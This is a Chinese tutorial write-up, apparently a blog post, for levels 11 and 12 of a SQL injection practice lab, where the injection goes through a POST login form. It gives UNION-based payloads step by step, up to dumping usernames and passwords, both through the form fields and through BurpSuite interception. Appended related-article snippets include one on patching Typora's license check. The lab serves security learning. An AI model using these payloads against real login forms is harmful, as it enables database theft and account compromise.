【sql靶场】第11、12关-post提交注入
目录
【sql靶场】第11、12关-post提交注入
POST
一、URL
二、核心组成部分
三、数据编码规范
四、应用场景与请求方法
第十一关
方法一
步骤一
步骤二
步骤三
步骤四
步骤五
步骤六
步骤七
方法二
步骤一
步骤二
步骤三
步骤四
步骤五
步骤六
步骤七
第十二关
【sql靶场】第11、12关-post提交注入
POST
关卡讲解前小知识,不看可以跳过
一、URL
URL(Uniform Resource Locator)是互联网上唯一标识资源位置的字符串,包含协议、主机地址、路径等核心部分,用于定位和访问网络资源12。其标准格式为: 协议://主机地址[:端口号]/路径?查询参数#锚点 https://www.example.com:8080/api/users?id=123#section1
二、核心组成部分
协议(Scheme),定义资源访问的通信协议,例如:
http:超文本传输协议(明文传输) https:加密的HTTP协议(安全性更高) ftp:文件传输协议
主机地址(Host)
域名:如 www.example.com IP地址:如 202.108.22.5
端口号:可选,默认HTTP为80,HTTPS为443,自定义端口需显式指定(如:8080)
路径(Path): 表示服务器上的资源路径,如 /api/users 或 /img/logo.png12。
查询参数(Query Parameters):以 ? 开头,key=value 形式通过 & 分隔,用于向服务器传递附加参数,如 ?name=John&age=30。
锚点(Fragment)以 # 开头,用于页面内导航(如 #section1),仅客户端使用,不发送至服务器。
三、数据编码规范
URL中非ASCII字符(如中文、空格)需进行URL编码
规则如下:将字符转换为十六进制值,前缀加 %(如空格 → %20,/ → %2F),编码方式由浏览器或编程语言决定,可通过 encodeURIComponent() 等函数统一处理。
示例*: https://example.com/search?q=%E4%B8%AD%E6%96%87(搜索“中文”)
四、应用场景与请求方法
GET请求
数据通过URL参数传递,明文暴露于地址栏,适用于非敏感数据(如搜索关键词)。
受URL长度限制(通常≤2048字符)。
POST请求
数据通过请求体传输,URL中仅包含资源路径(如 https://example.com/login)。
适合提交敏感信息(如密码)或大量数据(如文件上传)
第十一关
这一关提交方式从get变成了post,使得数据不会通过URL参数传递,明文暴露于地址栏,所以使用post提交POST请求的数据存储在请求体(Body)中,而非URL参数,URL中仅包含资源路径,这里就不需要再地址栏进行测试,但是我们可以在页面的账号密码输入里尝试,可不可以进行注入
学习阶段尝试注入方法有
方法一:直接在页面的账号密码输入框里面进行注入
方法二:使用BurpSuite进行拦截注入
方法一
步骤一
在账号或者密码输入框中进行测试单引号闭合
1'

发现账号密码的输入框都可以进行注入
步骤二
进行测试列数
1' order by 5 #

1' order by 3 #

1' order by 2 #

最后测试出来列数为二
步骤三
知道了列数,进行测试回显
1' union select 1,2 #

测试出来账号回显为1,密码为2
步骤四
进行注入数据库名
1' union select 1,database() #

步骤五
注入表名
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#

步骤六
注入字段名
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users')#

步骤七
注入账号密码
1' union select 1,(select group_concat(concat_ws(0x3a,username,password)) from users)#

方法二
步骤一
打开BurpSuite,点击代理然后点击截断的截断请求,然后打开火狐浏览器,打开关卡页面,随便输入账号密码,点击提交

步骤二
进行测试列数
1' order by 5 #

1' order by 3 #

1' order by 2 #

最后测试出来列数为二
步骤三
知道了列数,进行测试回显
1' union select 1,2 #

测试出来账号回显为1,密码为2
步骤四
进行注入数据库名
1' union select 1,database() #

步骤五
注入表名
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#

步骤六
注入字段名
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users')#

步骤七
注入账号密码
1' union select 1,group_concat(concat_ws(0x3a,username,password)) from users#

方法一与方法二差不多,看个人喜欢,而且单单从sql靶场这几个关卡来看,post提交这里的sql关卡和前面的get提交差不多,只是将从地址栏注入变成了输入框或者拦截注入
其实还有一个方式可以注入,就是利用软件工具等等进行漏洞扫描注入
第十二关
与第十一关基本一样,只是闭合方式变成了"
相关文章:
【sql靶场】第11、12关-post提交注入
目录 【sql靶场】第11、12关-post提交注入 POST 一、URL 二、核心组成部分 三、数据编码规范 四、应用场景与请求方法 第十一关 方法一 步骤一 步骤二 步骤三 步骤四 步骤五 步骤六 步骤七 方法二 步骤一 步骤二 步骤三 步骤四 步骤五 步骤六 步骤七 第…...
框架、云原生、微服务的基本概念
架构 互联网应用的架构设计随着业务需求的增长和技术的发展经历了从单一架构到垂直架构,再到分布式架构的演变。以下是这三种架构的定义、特点以及具体的例子: 1. 单一架构(Monolithic Architecture) 定义 单一架构是一种将所有…...
Discuz建站教程之论坛头部logo跳转链接怎么修改?
在修改头部logo跳转链接前,我们需要知道对应代码在哪个文件目录,进入宝塔或是服务器,找到文件:\template\default\common\header.htm,编辑器打开,搜索以下代码,大概在135行 <a href"{i…...
AI重构SEO关键词布局
内容概要 在搜索引擎优化(SEO)领域,AI技术的深度应用正在颠覆传统关键词布局逻辑。通过机器学习算法与语义分析模型,智能系统能够实时解析海量搜索数据,构建动态词库并精准捕捉用户意图。相较于依赖人工经验的关键词筛…...
贪心算法简介(greed)
前言: 贪心算法(Greedy Algorithm)是一种在每个决策阶段都选择当前最优解的算法策略,通过局部最优的累积来寻求全局最优解。其本质是"短视"策略,不回溯已做选择。 什么是贪心、如何来理解贪心(个人对贪心的…...
OpnenHarmony 开源鸿蒙北向开发——1.开发环境搭建(DevEco Studio 5.03)
我这边是基于window下对OpenHarmony开源鸿蒙进行北向开发。 一、安装DevEco Studio 1、下载 下载中心 | 华为开发者联盟-HarmonyOS开发者官网,共建鸿蒙生态 2、安装 下载完成之后进行解压 双击进行安装 按照我的步骤进行 选择安装目录,全部配置完成后…...
钉钉(excel)能让表格中不是‘北京’的字符串自动加亮显示(方便查看)以及隔行填充严颜色是斑马色(方便查看)嘛
在钉钉在线表格中,虽然功能相对Excel有所简化,但仍然可以通过条件格式实现对特定内容的高亮显示。以下是具体步骤: 一、在钉钉在线表格中设置条件格式 1. 打开钉钉在线表格 登录钉钉,进入“钉钉在线表格”应用。 打开你需要操作…...
【工具】ReConPlot一个可视化和解释基因组重排的R包
文章目录 介绍代码案例加载R包导入数据 参考 介绍 人类肿瘤的全基因组测序研究表明,复杂形式的结构变异,统称为复杂基因组重排(cgr),在不同类型的癌症中普遍存在。cgr的检测、分类和机制解释需要对体细胞拷贝数畸变&a…...
OSPF-2 邻接建立关系
上一期我们说了OSPF的邻居建立关系以及OSPF邻居关系建立中建立失败的因素以及相关实验案例 这一期我们来说说OSPF的邻接关系建立时需要交互哪些报文以及失败因素及原因和相关实验案例 一、概述 在运行了OSPF的网络当中为了交互链路状态信息和路由信息,互相之间需要建立邻接关…...
最完美的WPF无边框设计!
常规的无边框方法设计 常规的WPF无边框设计方法都是通过AllowsTransparency="True"和WindowStyle=“None”,并且使用WindowChrome样式来实现,但是这样会有问题就是,窗体最大化的时候将底部任务栏给挡住了,另外最大化的时候不能拖动窗体。参考这个大佬的设计@ 若…...
无限使用Typora
下载 Typora https://www.typora.net/#home 安装 找到 /Applications/Typora.app/Contents/Resources/TypeMark/page-dist/static/js/LicenseIndex.180dd4c7.5b0f7af9.chunk.js 文件 打开文件 搜索 e.hasActivated"true"e.hasActivated,修改成 e.hasActivated&…...
工作记录 2017-01-12
序号 工作 相关人员 1 协助BPO进行Billing的工作。 处理Amazing Charts的数据查询。 修改BillingJobPoster,处理CCDA 的自动导入,预计还需一天才能完成。 修改录入Code的界面(code 移动到指定位置),预计明天更新。…...
【Linux】从互斥原理到C++ RAII封装实践
📢博客主页:https://blog.csdn.net/2301_779549673 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正! 📢本文由 JohnKi 原创,首发于 CSDN🙉 📢未来很长&#…...
爬虫案例十三js逆向模拟登录中大网校
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、网站分析二、代码 前言 提示:这里可以添加本文要记录的大概内容: js 逆向模拟登录中大网校 提示:以下是本篇文章正文内…...
WPF窗口读取、显示、修改、另存excel文件——CAD c#二次开发
效果如下: using System.Data; using System.IO; using System.Windows; using Microsoft.Win32; using ExcelDataReader; using System.Text; using ClosedXML.Excel;namespace IfoxDemo {public partial class SimpleWindow : Window{public SimpleWindow(){Initi…...
01 | Go 项目开发极速入门课介绍
提示: 所有体系课见专栏:Go 项目开发极速入门实战课。 你好,欢迎学习本课程。本课程是一个 Go 项目开发极速入门课程。旨在帮助刚学习完 Go 基础语法的 Go 开发者,快速掌握如何开发一个功能相对全面的 Go 项目。 根据课程设计目标…...
Spring Cloud LoadBalancer 原理与实践
背景 当前我们的微服务架构基于Spring Cloud Alibaba体系,通过定制NacosRule实现了跨集群访问和灰度发布功能。但随着Spring Cloud与Nacos版本升级,官方已弃用Ribbon转向LoadBalancer,这要求我们完成以下技术升级: 负载均衡机制…...
Vmware下的openEuler
1.下载openEuler操作系统镜像 https://repo.openeuler.org/openEuler-20.03-LTS/ISO/ 2.在VM新建虚拟机 3.虚拟机联网 我是出现了没有网络,ping不通的问题 参考:https://blog.csdn.net/FHY26828/article/details/140941234 修改文件: 在…...
spring security学习入门指引
学习 Spring Security 可以从以下几个方面逐步深入,结合理论与实践,以下是具体的学习路径建议: 1. 基础准备 • 熟悉 Spring 框架: 先掌握 Spring Core、Spring MVC 和 Spring Boot 的基础,理解依赖注入(D…...
【瞎折腾/Dify】使用docker离线部署Dify
文章目录 说在前面安装Docker(外网)获取Dify源码(外网)拉取docker镜像(外网)导出镜像(内网)导入镜像(内网)运行问题 说在前面 外网操作系统:windows内网操作系统:ubuntu外网docker desktop版本:4.29.0外网docker版本:version 26.0…...
Java EE Web环境安装
Java EE Web环境安装 一、JDK安装与测试(Windows环境) 1. 安装JDK 官网下载:Oracle JDK(选择Windows x64 Installer)双击安装包,按向导完成安装 2. 环境变量配置 右键【此电脑】→【属性】→【高级…...
Node.js中HTTPS模块应用详解
1. HTTPS 模块的概念 HTTPS(Hypertext Transfer Protocol Secure)是 HTTP 的安全版本,通过 SSL/TLS 协议对数据进行加密,确保数据在传输过程中不被窃取或篡改。在 Node.js 中,https 模块提供了创建 HTTPS 服务器和客户…...
我测试了AI搜索:试图替代谷歌搜索
随着人工智能工具的不断进步,探讨它们是否能够取代传统搜索引擎如谷歌,已成为一个引人入胜的话题。 有一点是确定的:并非所有的人工智能都可用。它们需要的主要特性是能够访问互联网以获取最新信息,这就排除了Anthropic的Claude。 人工智能在某些方面可以增强或改进谷歌搜…...
大语言模型基础之‘显存优化‘
上一篇可扩展的训练技术(二)中,我们介绍了零冗余优化器(Zero Redundancy Optimizer, Zero),该技术由DeepSpeed代码库提出,主要用于解决数据并行中的模型冗余技术,即在数据并行训练中,每个GPU上都…...
【Nexus】Maven 私服搭建以及上传自己的Jar包
Nexus 安装 docker run -d -uroot --name nexus3 --restartalways -p 8081:8081 -v /data/nexus-data/blobs:/nexus-data/blobs -v /etc/localtime:/etc/localtime sonatype/nexus3这里也提供一下docker-composer的方法 .env 文件 VERSIONlatest CONTAINER_NAMECONTAINER_N…...
css模拟雷达扫描动画
<div class"radar-scan"><div class"radar-container" /></div> 样式: .radar-scan {background-image: linear-gradient(0deg,transparent 24%,rgba(32, 255, 77, 0.15) 25%,rgba(32, 255, 77, 0.15) 26%,transparent 27%,…...
冠珠瓷砖×郭培“惟质致美”品质主题片上映,讲述高定艺术背后的致美品质故事
168年前,一位英国服装设计师,开创了「高级定制」的先河。时至今日,从服装到各行各业「高级定制」始终代表着对完美的极致追求,成为了行业至高境界的象征。 被誉为“中国高定第一人”,高级定制服装设计师郭培࿰…...
【Java 基础(人话版)】进制转换
进制的简单介绍 整数可以使用四种不同的进制表示方式: 二进制 (Binary):由 0 和 1 组成,满 2 进 1,以 0b 或 0B 开头表示。十进制 (Decimal):由 0-9 组成,满 10 进 1,是最常用的数值表示方式。…...
3DS模拟器使用(pc+安卓)+金手指+存档互传
1、引言 3ds模拟器已经能够在手机端近乎完美模拟了,那么多的3ds游戏,比玩手机游戏舒服多了。 本人是精灵宝可梦的老玩家,从第一世代就一直在玩,刚耍完NDS的第五世代,黑白系列。现在到宝可梦XY了,需要在3d…...
SpaceClaim二次开发(4)
目录 第五章 Storing Custom Data (存储自定义数据) 5.1 文档属性 5.2 自定义属性 5.3 属性传播 第六章 Identifying Objects in ACIS and Parasolid Files(识别ACIS和Parasolid文件中的对象) 6.1 导出期间的标识符 6.2 导入和…...
